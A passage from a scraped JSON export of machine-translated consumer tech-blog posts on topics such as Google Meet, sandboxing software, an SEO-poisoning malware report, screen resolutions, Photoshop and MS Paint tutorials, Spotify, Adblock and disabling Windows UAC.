do for a large meeting.\nGoogle Meet does its best to filter out any noise that isn't speech. It also features live subtitles, which automatically annotate what people say (relatively reliable and great).\nYou can also share your screen with everyone during the call. This can be a specific window or the entire screen, and it works on mobile as well.\nFinally, Google claims that \"online meetings are encrypted when transmitted\" and \"safeguards are constantly being updated to increase protection\". The users are companies with enterprise-grade security, but for the casual user, the privacy setting is fine.\nHow much does Google Meet cost? Google Meet is free for everyone to make and join calls. All you need is a Google account (you already have it if you're using Gmail), but it's also free.\nHowever, some Google Meet features are only available through a paid G Suite subscription. This cost is $ 10 / active user / month. G Suite is targeted at business users and is Google's suite of productivity and collaboration apps.\nSome of the additional features that G Suite offers to Google Meet are:\nMeeting time 300 hours 250 people joined the meeting International or US dialing phone numbers The meeting record is saved to Google Drive 24/7 online support For more details about this tool, readers can refer to the article: Hangouts Meet: How to use and the must-know features of make tech.\nAdvantages\nSimple scheduling, easy recording, and adaptive layout keep everyone engaged and connected. Screen sharing with participants Host large meetings with up to 250 participants Join right from the phone Meetings are confidential The owner can control who is allowed to join the meeting (only people approved by the meeting owner can join). Live streams for up to 100,000 viewers in the domain. Defect\nSome features are missing, like being able to take notes on what you're presenting and the option of being able to record the meeting or part of the meeting. The CPU and RAM usage increases a lot compared to other alternatives Google Meet download Google Meet ncG1vNJzZmismaXArq3KnmWcp51kuaq6ymabqK%2BeobyisIygpqifnJp6rrHErWSfqpWaerC6y6KlnmWdmrK1tc2gZJqooKG2pK3Toqan\n","link":"/post/link-download-google-meet-free-online-meeting-application/","section":"post","tags":null,"title":"Link download Google Meet: Free online meeting application"},{"body":"If viruses and malware are common problems or merely users are concerned that their antivirus program is not enough, you can add a few layers of protection to your computer by installing the sandbox application. . A proper collection of sandboxed Windows applications will help protect you from the malware that the antivirus engine doesn't detect. In addition, it keeps computers and personal data secure every time you shop online or visit dangerous websites.\nSandbox is a form of software virtualization, allowing software and processes to run in its quarantined virtual environment. Basically, software running inside the sandbox is restricted access to files and systems and it cannot create permanent changes. This means that all that happens in the sandbox will only be in the sandbox.\n  Users can search for sandbox-specific software, but some antivirus software also supports sandbox. We will explore both in this article. The actual sandbox function will change between software, but here are some common uses:\nRun automatically or manually some unclear software in sandbox in case they contain viruses, spyware or other malware samples.\nRun the web browser in the sandbox to avoid the infection damage that occurs while surfing the web, one of the most common sources of malware.\nRun the browser in the sandbox to prevent existing malware patterns on your computer from capturing important login information or billing information when shopping online.\nMost sandbox tools, such as the ones below, can run software inside the sandbox along with other software in Windows. In general, software running inside the sandbox does not look different. However, there are still some tools that run in a separate environment and have a different interface. They even require users to restart the computer whenever they exit the sandbox.\nSandbox in Comodo Internet Security Comodo Internet Security is a free security tool kit for personal and business users to use. In addition to tools to kill viruses and firewalls, it also supports automatic or manual sandboxes.\nCIS will automatically detect untrusted executable files and software and run them in a virtual environment. Users can also run any software in the sandbox manually; Just choose a software to run through the CIS main application window (under Defense + tab).\n  Sandbox in Comodo Internet Security application.\nIn addition, users can also click on certain software in Windows and select Run in COMODO Sandbox . However, this option does not appear when you right-click the icon; You will have to right click on its executable file.\nThe sandbox function in CIS is great for automatic protection or when we run suspicious downloads. If you want to sandbox to surf the web, consider other tools like Avast or Sandboxie , both mentioned below.\nSandbox with Avast Antivirus Avast provides free antivirus software for personal use, as well as the premium version with additional features or commercial use. Avast Free Antivirus features automatic sandboxing while Avast Pro Antivirus and Avast Internet Security have both automatic and manual sandboxes.\nLike CIS, every Avast product automatically runs suspicious software in a virtual environment; By default this tool will ask you before making. Inside Avast's settings, you can determine which software you want to remove without being sandboxed automatically.\nManually running the software inside the sandbox with the Avast premium product is similar when using CIS. You can choose the software to run through the main window of the Avast software (under the Additional Protection tab , Sandbox ).\n  Avast Internet Security offers highly customizable sandbox features.\nIf you want, you may have to click on a software in Windows and select Run in Sandbox or Always Run in Sandbox . Unlike CIS, Avast provides users with sandbox options even if you click on a shortcut instead of just clicking the executable file of the software. In addition, users can determine which software always runs in the sandbox even when you open it as usual. Avast also provides more sandbox settings for customization, such as restricting certain applications that are sandboxed to not access the Internet.\nAvast Free Antivirus proved useful when automatically sandboxing. However, if you want to manually sandbox or protect your surfing, consider upgrading to Avast's paid product or using another tool. Avast's premium version also works well in manual sandboxing, but you can still try other apps, such as Sandboxie, to get a higher customization.\nUse Sandboxie Sandboxie is a sharing tool, provided free for personal use. It allows users to open web browsers, email applications and other software within the sandbox.\n  Sandboxie lets you create highly customizable sandboxes, each running in its own virtual environment and containing its own data. For example, users can use a sandbox to run suspicious software and surf the web to access potentially harmful sites and another sandbox to perform sensitive actions like transactions and shopping. online.\nSandboxie will create a default sandbox for you. Add other sandboxes, open Sandbox Control , click Sandbox , and select Create New Sandbox .\nUnlike sandbox features of some antivirus software, Sandboxie does not automatically sandbox unknown software. However, it offers many ways to open the software in sandbox mode.\nOpen the web browser : Click the Sandboxed Web Browser shortcut on the desktop or Start menu to open the default browser in sandbox mode. Open any software via Sandboxie : Click Start → All Programs → Sandboxie → Run any program Sandboxed . Select the sandbox to boot and then browse to the software to run. Open any software via Windows : Anywhere in Windows, right click on a software and select Run Sandboxed . Open items from the Start menu : Click Start → All Programs → Sandboxie → Sandboxie Start Menu , then select the sandbox to launch it. Select a software from Sandboxie's list of Start menu shortcuts. The registered version of Sandboxie also allows users to determine which software needs to be sandboxed automatically, even if you open them as usual: To set this up, open Sandboxie Control , right-click on a sandbox, select Sandbox Settings → Program Start → Forced Programs .\nBy default, each sandbox contains all the data related to the software you run in it. For example, if you run a web browser, it will save the web record and temporary Internet files. However, users can completely delete the content in the sandbox at any time: open Sandboxie Control , right-click the sandbox you want and select Delete Contents.\nWhen you download files with a sandboxed browser or save files from any sandboxed software, Sandboxie will ask if you want to restore them. This action will save the items out of the sandbox to a certain drive. If you choose not to restore files, users can still view and restore them later: Open Sandboxie Control , right-click the sandbox you want and select Quick Recovery .\nSandboxie is great if you use it to sandbox everyday, or even occasionally when you surf the web. However, if you want to automatically protect against malware patterns, consider using antivirus software that includes the sandbox feature, such as Comodo Internet Security or Avast.\nncG1vNJzZmismaXArq3KnmWcp51kvbO7056arWWppMKzecKopKmtpJq%2FbsPIrZ9mq5GjsaO71w%3D%3D\n","link":"/post/protect-your-computer-with-sandbox/","section":"post","tags":null,"title":"Protect your computer with Sandbox"},{"body":"In the early 1950s, archaeologists found burning clay tablets at the Royal Palace in Ugarit (today Ras Shamra, Syria). On terracotta boards carved with cuneiform symbols are thought to guide music in the language of the ancient Hurrian people .\nA total of 29 terracotta boards were found during the archaeological process, but only one board was intact, enough for researchers to \" translate \" again.\n  Ancient musical characters are engraved on a block of clay to retain the melody.\nThis song was named \" Hurrian hymn to Nikkal \" by researchers, which means \" Hurrian hymns offered to the goddess Nikkal \", which were used in religious ceremonies. In the ancient culture of people living in the Middle East, Nikkal is a goddess of protection for their orchards.\nWith musical symbols in this hymn, there are many experimental ways in modern music. In 1972, Professor Anne Draffkorn Kilmer, who specializes in Middle Eastern culture, at the University of California (USA), began to translate wedge-shaped characters on intact terracotta boards into phonetic languages. modern music. From this \"translation\" version, there were many melodies that were born.\n  Entrance to the Royal Palace in the ancient city of Ugarit, where terracotta boards are found.\nLater, Professor Richard Dumbrill, an expert in archeology - studying Middle Eastern culture, teaching at the University of London, also tried to translate the terracotta board.\nThe video below is an experiment Michael Levy, an English musician specializing in research and performance with ancient instruments, melodies, and techniques. For him the \"bringing the beautiful lyre of ancient times into the world of bland and lifeless modern music \" is his mission.\nUntil now, no one has been able to know for sure the melody was recorded on these ancient terracotta boards. We can only guess based on the signs and imagination of the \"translator\".\nThe tunes engraved on terracotta boards in Ugarit are considered the oldest , oldest known music in human civilization, dating back to about 1400 BC.\nncG1vNJzZmismaXArq3KnmWcp51kwamxjKacrKWVp7a7tc2gZKadnKSxunnCqKSeq12bv7C5jK2fnmVjan1xxcSaqaiklGKur6%2FInqWtZZ2qwKqv\n","link":"/post/the-mesmerizing-melody-comes-from-the-3-500-year-old-ancient-music/","section":"post","tags":null,"title":"The mesmerizing melody comes from the 3,500-year-old ancient music"},{"body":"In July 2011, Axioo will launch a series of the latest popular Intel Pentium Duo Core B940, B950 CPUs based on the Sandy Bridge platform.\n  Illustration: Axioo's laptop.\nAfter launching the Axioo laptop line, HNM used the first second generation Intel CPU in Vietnam in the first quarter of 2011 with 3 middle and high-end CPU lines being Core i3, i5, i7, in July to Axioo will launch a series of latest popular Intel Pentium Duo Core B940, B950 CPUs based on Sandy Bridge platform, according to official information from the company.\nTypically the HNM P025 model, using B940 CPU (2.0GHz, 2MB cache), DDR3 2GB RAM, 500GB HDD, integrating the strengths of Intel Sandy Bridge CPU such as performance improvement, using soket G2 speed up data transfer Data, support high graphics with Intel Graphic HD 3000 graphics card.\nIn addition, HNM P025 also integrates the design benefits of this line such as USB Esata combo, shortcut to Soconet social network, Bluetooth 3.0, Hexapad, Led back light technology. The estimated selling price of this line is 9,000,000 VND.\nncG1vNJzZmismaXArq3KnmWcp51krrm1zqhkoqtdlq%2BwwdNmq6hlnJbCr6%2FHZphmpJGlwbC8jK6qoqaXYsGpsYylmK2do6l6tK3NnbBmmqKesaixjJynrg%3D%3D\n","link":"/post/axioo-is-about-to-launch-a-laptop-using-the-latest-sandy-bridge-cpu/","section":"post","tags":null,"title":"Axioo is about to launch a laptop using the latest Sandy Bridge CPU"},{"body":"A large-scale dirty SEO campaign is being conducted by cybercriminals. By different methods, they bring fake versions containing malicious code of popular software to the top of search. If the user clicks, downloads and installs it, it will immediately be infected with the BATLOADER malware.\nIn a newly published report, Mandiant researchers detailed a dirty SEO campaign. \"Hackers used SEO keywords like \"install free productivity apps\" or \"install free software developer tools\" as keywords to lure victims to visit and download the installers. contains malicious code\".\n  Attacks by means of SEO poisoning, hackers increase the ranking of malicious download pages to make them show up at the top of search results. When users search for apps like TeamViewer, Visual Studio and Zoom they will see fake pages at the top. If the victim accesses and downloads that fake software, the victim will be infected with malicious code.\nWhile packaging the installer, the hacker adds the BATLOADER malware. Therefore, when installed, malware will also be installed on the victim's machine. BATLOADER will download other executables to probe the target. Next, other malicious code is also downloaded to be installed to carry out a chain of infection.\nOther additional malware installed include Atera Agent, Cobalt Strike Beacon and Ursnift. They will perform behaviors such as remote monitoring, privilege escalation, and credential collection.\nTo avoid becoming a victim, users should not download cracked or free software from unauthenticated sites. In addition, you should carefully check the address of the site where you intend to download the software to avoid accessing the fake site. Finally, before installing, use anti-virus software to scan the installation file.\nmalicious software malicious code ncG1vNJzZmismaXArq3KnmWcp51ksaq%2B07JkrJ2fYrCiuc%2BaoKCmXZe%2FqrrGrGSaZaOav6qx0mamn2Wdlrmqr8iorKxlo6SztcPAq5xmrJ9iwamxjK2mqWWfm3q0scCrmqE%3D\n","link":"/post/dirty-seo-campaign-brings-a-series-of-malicious-software-to-the-top-of-search/","section":"post","tags":null,"title":"Dirty SEO campaign brings a series of malicious software to the top of search"},{"body":"What is FullHD resolution ? Then what is the 2K screen? All these abbreviated technical terms will be answered in detail in the article below. Let you better understand, as well as easily choose to buy smartphones before the flattering words of the seller. When it comes to the screen on the smartphone, it refers to four important factors , including: Display type, screen diagonal (inch), sharpness (HD, Full HD, etc.) and pixel density (ppi - pixels per inch). The last two things have a very close relationship.\nYou can define the display screen by simply looking at the number of pixels vertically and horizontally, creating the screen. It is often cited as width x height, with units in pixels instead of estimated by inch size; For example, 1,024 × 768 means the width is 1,024 pixels and the height is 768 pixels. To know exactly how much of your device is using the screen size, resolution and pixel density, check with the CPU-Z application.\n  Remember when Apple launched the iPhone 4, Steve Jobs once claimed that the human eye can only see pixels at the highest threshold of 300 ppi with a distance of 10 inches, equivalent to 25cm. This parameter sounds reasonable because most glossy paper magazines are also printed at a density of 300 ppi and no one complains that the word in the magazine is pitted.\nSome others, including some analysts, say that the human eye can still recognize individual pixels at 480 ppi or even more. However, this requires users to keep their eyes on the screen (an unnatural use), eyesight must be as good as young people. Most of our visible thresholds range from 300 to 480 ppi, depending on eyesight and age.\n  There is another important factor to consider when we talk about a sharp and clear display, but often overlooked, which is the observation distance . Even on the sharpest models of TVs or phones, it starts to fade when you look at it at a distance. So the question we will answer today is: From what distance do we see the benefits of high-resolution screens ?\nTo measure the ideal distance between your eyes and the smartphone screen, suppose that you are one of the very few people with perfect vision, ie 20/20 vision. A person who reaches this level of vision is someone who can see everything with a 1 minute angle (equal to 1/60 degree).\nMost people have lower vision than this, for example, people with 20/40 vision can only see clearly for 2 minutes, while for a few people (such as pilots) with eyesight October 20 can see clearly with an angle of 0.5 minutes. The true limit of the human eye is about 20/8, so once again we assume we have perfect vision 20/20.\nWith that hypothesis, try to think about how close it is to see the pixels on a 720p, 1080p and 1440p screen? Here, invite you to consult the most ideal distance to see how much:\n  480p Smartphone (4 inch screen like Samsung Galaxy V Plus); The eye starts to see the image clearly from a distance of 37.4 cm. 720p smartphone (4.7 inch screen like Nokia Lumia 730); The eye starts to see the image clearly from a distance of 28 cm. Smartphone 1.080p (5 inch screen like that of Lenovo Vibe Shot); The eye starts to see the image clearly from a distance of 19.8 cm. Phablet 1.440p (5.5 inch screen like LG G4 Leather); The eye starts to see the image clearly from a distance of 16.4 cm.   480p Smartphone (4 inch screen like Samsung Galaxy V Plus); The eye starts to see the image clearly from a distance of 37.4 cm.\n  With 720p resolution, the average user starts seeing pixels at a distance of 28 cm on a 4.7-inch phone\n  With a resolution of 1.080p, ordinary users start seeing pixels at a distance of 19.8 cm on a 5-inch phone\n  With a resolution of 1.440p, ordinary users start seeing pixels at a distance of 16.4 cm on a 5.5-inch phone\nBefore getting down to the detailed study of the quartet of HD 720p, Full HD 1080p, Quad HD 1.440p and 4K Ultra HD, I will quickly answer questions of some readers recently about these 4 standards.Someone asked: \" Why did you say 1,280 x 720 pixels is HD, but now also calling 1,280 x 768/800 pixels is HD ?\" Or you ask: \" 1,280 x 800 pixels are HD standards called WXGA ?\", . Full HD, Quad HD and Ultra HD standards have similar questions.\nIn short and easy to understand, you just look at the screen size of mobile devices currently available in the market; About 5 inches or less is a smartphone, from 5.5 inches or more is phablet and over 7 inches is a tablet. Accordingly, the resolution is no exception, HD standards include: 1,280x720 pixels and 1,280x800 pixels. Because 800p is only slightly higher than 720p, people also call this standard HD, but actually it is at WXGA (1,366 x 768, 1,360 x 768, 1,280 x 800). In summary, because of the different sizes, ratios and technologies of different display manufacturers, this difference is possible (maybe 2 smartphones are the same size, but different resolutions and pixels, . ).\nHD standard 720p (referred to as HD), number 720 represents 720 horizontal scan lines of the image display resolution (also called 720 pixels of vertical resolution), while the letter p represents continuous scan. When playing at 60 frames per second, 720p has the highest resolution (motion) under ATSC and DVB standards. This term assumes a 16: 9 screen resolution , thus corresponding to 1,280 × 720 pixel resolution.\n  Full HD Standard Full HD is the next development of the HD standard and is currently very popular on smartphones, although 2K (QHD) has begun to show signs of strong growth, since the mobile market has appeared. OPPO Find 7 and LG G3, the first commercial phablet duo own QHD screen.\n1080p is also called Full HD or FHD and BT,709. The term often appears on a 16: 9 screen, corresponding to a resolution of 1,920 x 1,080 pixels, which is often advertised as Full HD.\n  Standard QHD, Quad HD or 2K QHD is Quad HD's short name, commonly referred to as 2K , which is 4 times clearer than HD standard, corresponding to a resolution of 2,560 x 1,440 pixels, making the smartphone screen sharper and more vivid than Full HD .\n  Ultra HD or 4K standard Ultra HD is also referred to as 4K . However, if you understand more correctly, Ultra HD corresponds to a resolution of 3,860 x 2,160 pixels and 4K is 4,096 x 2,160 pixels. Both of these definitions are often shortened to 2.160p and the pixel difference is relatively low, so most people call it 4K. As in the case of Sony Xperia Z5 Premium, it has a 5.5-inch screen with a resolution of 3,840 x 2,160 pixels, a pixel density of 806 ppi, but since its launch, the advertising and word of mouth information All technology is only referring to the 4K standard for this phablet.\nHowever, the 4K screen of Xperia Z5 Premium is based on the SID standard, so it only allows all videos and images to display at this resolution, and other content will be displayed in Full HD 1080p resolution. or lower to optimize performance, as well as save battery.\nWhich resolution is best for you? From consumers to critics and tech followers began to wonder why . Why manufacturers feel the need to continue to increase the resolution when they have not mastered white balance, color gamut , the ability to display \" quadrangle \" or outdoors in the sun on the current screen? Can the eyes even differentiate between the 5.5-inch QHD screen and the same size at 1080p?\nSince then, it has also raised concerns about the device's power consumption such as: Screen backlight is brighter and requires CPUs and GPUs to be \"more enthusiastic\" to promote additional pixels. .\n  Follow Techrum\nncG1vNJzZmismaXArq3KnmWcp51kwLa5zJqpsmWfm3qsus6wo56cl5p6oq7Orqtmq5Onsqa6jKucrKecqsGqu82sZKimXai6or7TqZ%2BoppWoeqmwjJ%2BspaRdnbFuvcedZG2j\n","link":"/post/hd-full-hd-qhd-4k/","section":"post","tags":null,"title":"HD, Full HD, QHD, 4K"},{"body":"Photoshop can do more than just edit photos. It's not a powerful tool like Illustrator or InDesign but it's still capable of designing simple things. Today, the Harry Guinness article's translation article will show you how to create a simple geometric logo in Photoshop.\nA neat and modern logo is easy to create and looks great. If you have a small business and can't hire a professional designer, you can design a logo yourself. The article will create a logo for businesses in photography. After that, you can use all the tools and tricks in the article to create your own logo.\nHow to design a simple logo in Photoshop Start with ideas Steps to design a simple logo in Photoshop Step 1: Set up Canvas Step 2: Build basic shape Step 3: Locate the shapes Step 4: Coloring Step 5: Add text Step 6: Try out some different variations  Start with ideas The hardest part of logo design is starting with good ideas. The author made a lot of adventure photos in the winter so he wanted his logo to show it. After thinking about different ideas, the author uses simple triangles to make mountains. This will make the logo look neat and modern, while still expressing the idea that the author wants.\n  When you give an idea for your logo, think about what you want it to represent. Sketch some ideas on paper - it's faster than using Photoshop - and try different shapes. Circles, squares, triangles and other complex shapes are easy to manipulate and combine in Photoshop. For example, use only three triangles but you can use and combine any shape you like.\nOnce you have an idea of ​​what will be in the logo, start showing it in Photoshop.\nSteps to design a simple logo in Photoshop Step 1: Set the canvas Start by creating a new document. For the logo in the example, the author created a square canvas of 1000 pixels x 1000 pixels. This provides flexibility when working with several different configurations.\n  Next, you need to create some baselines to locate elements for the logo more easily. Go to View\u0026gt; New Guide and create the baseline Horizontal and Vertical at 50%. You can create more baselines if needed.\nStep 2: Build basic shape For this logo, the author uses three square triangles. The easiest way to create them is to start with the square.\n  Select the Rectangle Tool (its shortcut is U) and select Shape. Hold Shift to keep the aspect ratio and draw a square about 220 pixels in any position on the canvas.\n  Next, select Pen Tool and click on the anchor point at the bottom right of the square you just drawn. This will remove the anchor point and turn the square into a square triangle.\nUse the Photoshop Command or Control + T shortcut to switch the position of that triangle. Rotate it so that the right angle is up.\n  With the Move tool (shortcut key V) locate the triangle so that the right angle is in the middle of the frame.\nStep 3: Locate the shapes Now the base triangle has been built, select and duplicate it (with the Command or Control + J shortcut) twice.\n  Select a triangle and position it in the correct position as shown below with the Move tool.\n  Select another triangle and convert its size, so that this size increases by 125% both vertically and horizontally. With the Move tool, position it so that the hypotenuse lies on the same line with the hypotenuse of the other two triangles and the right angle of the triangle coincides with the central baseline.\n  Step 4: Coloring To create a sense of depth, the author wants nearby mountains to be darker than the mountains in the distance. Select the Rectangle tool and then select one of the created triangles. Change the Fill and Stroke to black. Do the same with the other triangle.\n  For the largest triangle, change the Fill and Stroke to dark gray. The logo in the example used color # 404040. If this triangle appears above one of the black triangles, drag the triangle down to the end of the stack layer.\nStep 5: Add text With the actual logo shape already done, now is the time to add text. With the Text tool (shortcut key T), click somewhere on the canvas and enter your business name; In this example, it's Harry Guinness Photography.\n  Center the text and choose the font that matches the interface you are making. For example, choose the font Gotham Bold. With the Move and Transform tool , position the text so that it matches the logomark (illustration).\nTo complete and combine the text with the above illustration, the author changed the color of the Photography to a dark gray color used for large triangles.\nStep 6: Try out some different variations The secret to designing a good logo is to try different variations. You can't have the perfect logo the first time. When working with this logo, the author tried downloading variations of the same idea. You can see them in the illustration below.\n  Some variations will be quite good, others will not. The trick is to combine everything you can together. Once you have completed the first variation, go back and see what changes you can make. If you used a different color, try changing to black and white. If you have just used the line, try changing to another shape and vice versa. Keep testing until you have the results you like!\nSince Photoshop is a powerful program, there are very few things you can't do with it. Create a simple logo using only a small number of design tools available. If you are interested in learning more advanced design skills, learn and choose for yourself a professional design course.\nShare the logos you created with the instructions in this article or ask any questions you have in the comment section below!\nGood luck!\nSee more:\nUsing DesignEvo to design online logo Using AAA Logo professional logo design How to create logo with Foundry Logo on Android, iOS ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyVqLaouoyaZKyhnaW5pnnLqJ6oZZmjerG0zq2mrKCfpQ%3D%3D\n","link":"/post/how-to-design-a-simple-logo-in-photoshop/","section":"post","tags":null,"title":"How to design a simple logo in Photoshop"},{"body":" Chickens are cute farm animals that are always popular. Drawing chickens on a piece of paper is easy but like most people, you might want to draw it over on the computer instead. You may find drawing chickens on MS Paint a bit vexing but,...\nMethod 2of 3:\nUsing the Shape Tool  Draw a rectangle. This will be your chicken's body base.   Add a big oval to the body.\n  Using a darker color, draw a long horizontal oval for the head. This will be for the shading. If you're using white for the chicken's feather, use gray or light blue for the shadow. I used brown for the primary color and dark brown to the secondary color.   Add the same oval only this time, use the original color. This will make it add more depth to the drawing.   Using the dark color, heart shape draw the tail.\n  Like the head, overlap the tail with the same shape but using the original color.\n  Draw the wings. For the wings, make a heart shape similar to the tail. Use the shadow color for this step. Using the rotate tool, make rotate so that the pointed part of the heart points towards the head.   Using the original feather color, add a smaller heart. Rotate it the same way you did for the previous step.   Add another set of overlapping hearts to add more feathers to the wings.\n  Start adding the comb and wattle. This time, use dark red. For the wattle, I used a single heart flipped horizontally. For the comb, I used 3 hearts. I added 2 short hearts side-by-side and a tall heart in the middle.   Repeat previous step using red color. Adjust the size of the red wattles and comb so that some dark red streaks are visible   Add eyes and beak. For the eyes, I drew some circles with the shape tool with my colors on Black and white. For the beak, I used the diamond shape on the shape tool. I used a darker shade of orange.   Add the upper beak and legs. Using the triangle with the color set to yellow, I added the upper beak. I used the rectangle tool.   Add the feet. Using the rectangle tool, I added two claws for the feet.   Add more feathers. I used the thought bubble shape tool to add some feathers on the chicken's body. Flip it horizontally so that the circles are pointing upwards. Use the shadow color when doing this.   Add the same figure. This time, using the original feather color.  Method 3of 3:\nGeneral Method  Open Microsoft paint.\n  Click on the color yellow and make a filled-in circle. This will be your chicken's head.\n  Make a larger oval below and to the right of the circle \n  Using the brush tool, make a neck for your chicken. Refer to the picture to see what it should look like.\n  Using the polygon tool, make a sideways kite shape for a beak.(Or you can use the line tool)\n  For an eye, make a small black circle in the middle of the head.\n  Click on the line tool and select the thickest line. Make two lines coming down from the body. Add feet by drawing three shorter lines fanning out from each leg.\n  Draw a yellow tail with the brush tool, as shown in the picture. Fill it in with the paint bucket.\n  Using the light orange color, draw a wing. You can also use the light orange color to outline your chicken.\n  Isabella Humphrey Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyilsRurYycmKusn6S7bq%2FHopqknZ5ixKrAx2akrGWglravwA%3D%3D\n","link":"/post/how-to-draw-a-cartoon-chicken-with-ms-paint/","section":"post","tags":null,"title":"How to Draw a Cartoon Chicken with MS Paint"},{"body":"Although Spotify offers thousands of songs, this app does not provide everything. You may want to listen to music tracks that are not available on this platform. Or maybe your favorite music is on Spotify, but not one or two of their albums. Perhaps you want to listen to a CD that you have extracted to your computer. In any case, you can make Spotify find your locally stored music collection.\nNote : To use this feature, you need to use the paid version of Spotify. You cannot use your own music collection with the free version, ad-supported.\nAdd music to Spotify Launch the Spotify application on your computer and go to Menu\u0026gt; Edit\u0026gt; Preferences . Then scroll down to the settings page and turn on the 'Show Local Files' option . After enabling, you will see several other options, including displaying songs from the 'Downloads' and 'Music Library' folders . Another useful option is the 'Add a Source' button .\n  Option to add other sources useful for those who store media on secondary drives or on the network. To add a location, click the 'Add a Source' button and browse to the location of the music collection.\n  After you add the source, they will appear in the list and you can turn it on or off depending on your preference.\n  You will now be able to play your local music files through the application. Go to the 'Your Library' section on the left and open 'Local Files' from the content list. There you use the search field to filter a specific song or sort by song name or artist. And if the music files are tagged and metadata is appropriate, you will see the album cover and details of the song or artist.\n  Use music locally on mobile devices with Spotify You can also play music locally on your phone or tablet with Spotify. To do this, Spotify needs to be run on the computer and your phone needs to be connected to the same WiFi network. Open the Spotify app on your phone and visit Your Library\u0026gt; Playlists .\nSelect the local music playlist you created. Here, for simplicity, we call it 'Local from PC' . Then, press the 'Downloads' button . Local files in Spotify will be available offline via mobile application.\n  There are a few things to mention here. First of all, Spotify only supports MP3 and M4P files. The article has tried a number of different formats like FLAC, WMA, WAV and OGG but not. According to the support page, Spotify does not support M4A (iTunes Lossless), however, you can still open some songs. It is also very difficult to play some file types converted to MP3. The success rate is not 100% guaranteed.\nWhen it comes to local music playback, Spotify is the perfect solution. It would be great if OneDrive or any other cloud storage service is included. Support for additional file types will also be welcome. However, if you need some favorites that are not in the Spotify streaming catalog, that can be done completely.\nHope you are succesful.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqiclsZuuM6cmKVlnarAqq%2BMnKalpJWYwaq7zWamp2Wjpby1tcWy\n","link":"/post/how-to-play-local-music-collection-on-spotify/","section":"post","tags":null,"title":"How to play local music collection on Spotify"},{"body":"If you regularly use Bing Search on Microsoft Edge (chromium), you will find this browser has a rather strange default feature. That is, when you click on any link in the search results, that link will automatically be opened in a new tab, and the search results page will remain open in another tab. This can sometimes be frustrating, making it unclear to users whether Bing or Edge is getting an error.\nTo be more specific about what we're talking about: You execute a search query, click a link from the results page, and you're taken to a new tab. You click the back button to go back to the results page but you can't. Now you click on another result and are taken to a new tab again. In a nutshell, every time you click on a link, you will be redirected to a new tab and the results will remain open in the original tab. This 'feature' makes many people find it annoying.\nIf you feel the same way, you can refer to the following fix. The real solution lies in the Bing Safe Search settings. This feature only seems to be enabled by default if you use Edge.\nFirst, open Microsoft Edge on your Windows, Mac, or Linux PC and go to Bing.com. Next, click on the three dashed menu icon in the top right corner of the screen.\n  In the menu that appears, click on ' Safe Search '.\n  Scroll down to ' Results ' and uncheck both ' Open links from search results in a new tab or window ' and ' Open links from news results in a new tab or window ' (Opens a link from news results in a new tab or window ).\n  That's all you need to do. This is a very weird and annoying 'feature', apparently designed to keep Bing open as much as possible. Some users say the feature resets frequently, so you may have to disable it again in the future.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqiimsOmutNmpKKboqTAsLLTZpydn5Vis7O7zGaYrqyfoq61tcKao6WxXaS9prrIp55mpJmjuLR5yKdkp52nYsGirtI%3D\n","link":"/post/how-to-prevent-microsoft-edge-from-automatically-opening-links-in-new-tabs/","section":"post","tags":null,"title":"How to prevent Microsoft Edge from automatically opening links in new tabs"},{"body":"Adblock is an extension that has a very nice feature that blocks annoying pop-up ads while we surf the web. Thanks to Adblock, our web surfing is faster and not covered by unintentional ads that obscure website content. However, there are a few websites that require us to turn off Adblock to allow access, so how to temporarily turn off Adblock in these cases? Invite you to refer to the following article.\n  The way Adblock on Chrome browser and Coc Coc is completely identical so you can follow the steps below:\nYou click on the icon Adblock shaped hands on the right corner of the screen and choose one of two options that are:\nPause on this site : Pause blocking ads on the page you are opening\nPause on all site : Pause ad blocking on every page.\n  If you just want to pause blocking ads on the open page, select Pause on this site , when you visit another page, adblock will still block ads normally.\nAfter pausing the ad, you need to reload the page for the changes to take effect.\nIn the future, if you want to turn on Adblock again, click on the blue hand icon and select Resume blocking ads then reload the page.\n  In case you do not see the hand icon, then press the 3 dots button on Chrome browser or click on Coc Coc button on Coc Coc browser and you will see the icon appear on the window.\nChrome:\n  Cup Cup:\n  Thank you for watching the article!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqylp7tuu8WfZJqckqG8pLeMqKVmm5invK6xjJymnGWTpLA%3D\n","link":"/post/how-to-turn-off-adblock-on-chrome-coc-coc/","section":"post","tags":null,"title":"How to turn off Adblock on Chrome, Coc Coc"},{"body":"User Account Control, or UAC, is part of the Windows security system. UAC prevents applications from making unwanted changes on your computer. When a software tries to change the system - in relation to a Registry or system files, Windows 10 displays a UAC confirmation dialog. If you want to make these changes, the user can confirm.\nUAC provides a specific security environment for user accounts that restrict access and can enhance a specific process with full access rights when needed. However, many users feel dissatisfied when the UAC window appears on the screen. If you are a Windows 10 user and you do not want to display the UAC window, then you can disable UAC.\nIn the article below, Network Administrator will guide you 2 ways to disable UAC on Windows 10.\nIf you are a Windows 7 or Windows Vista user, you can refer to how to disable UAC on Windows 7 and Windows Vista here:\nDisable UAC in Windows 7 Disable UAC for applications in Windows Vista 1. Disable UAC through Control Panel To disable UAC through Control Panel, follow the steps below:\n1. Open the Control panel.\nTo open Control Panel on Windows 10, press Windows + X key combination to open Power User Menu, then click Control Panel .\n2. On the Control Panel window, access the following link:\nControl PanelUser Accounts and Family SafetyUser Accounts\nHere, find and click the Change User Account Control settings link .\n  Alternatively, click the Start button to open the Start Menu, then enter the following command into the Search box:\nuac s\nClick on Change User Account Control settings on the search results list.\n  3. On the User Account Control settings window, move the slider to the bottom (Never Notify):\n  Click OK and UAC will be disabled.\n2. Disable UAC through Registry tweaks Also you can disable UAC by using Registry Editor.\n1. Open Registry Editor by pressing Windows + R key combination to open the Run window, then enter regedit there and press Enter. If UAC appears on the screen, click Yes to continue.\n2. On the UAC window, navigate to the key:\nHKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem\nIf there is no specific Registry key in the path above, you can create that Registry key.\n3. In the right pane, edit the DWORD EnableLUA value and set the value to 0:\n  If there is no DWORD value you can proceed to create that value.\n4. Restart your computer.\nIf you don't want to tweak Registry Editor, you can use Winaero Tweaker to disable UAC.\nDownload Winaero Tweaker to your phone and install it here. After installation is complete, access User Accounts =\u0026gt; Disable UAC :\n  Refer to some of the following articles: Here's how to completely disable Windows Defender on Windows 10, 7 and Windows Vista Automatic timer to 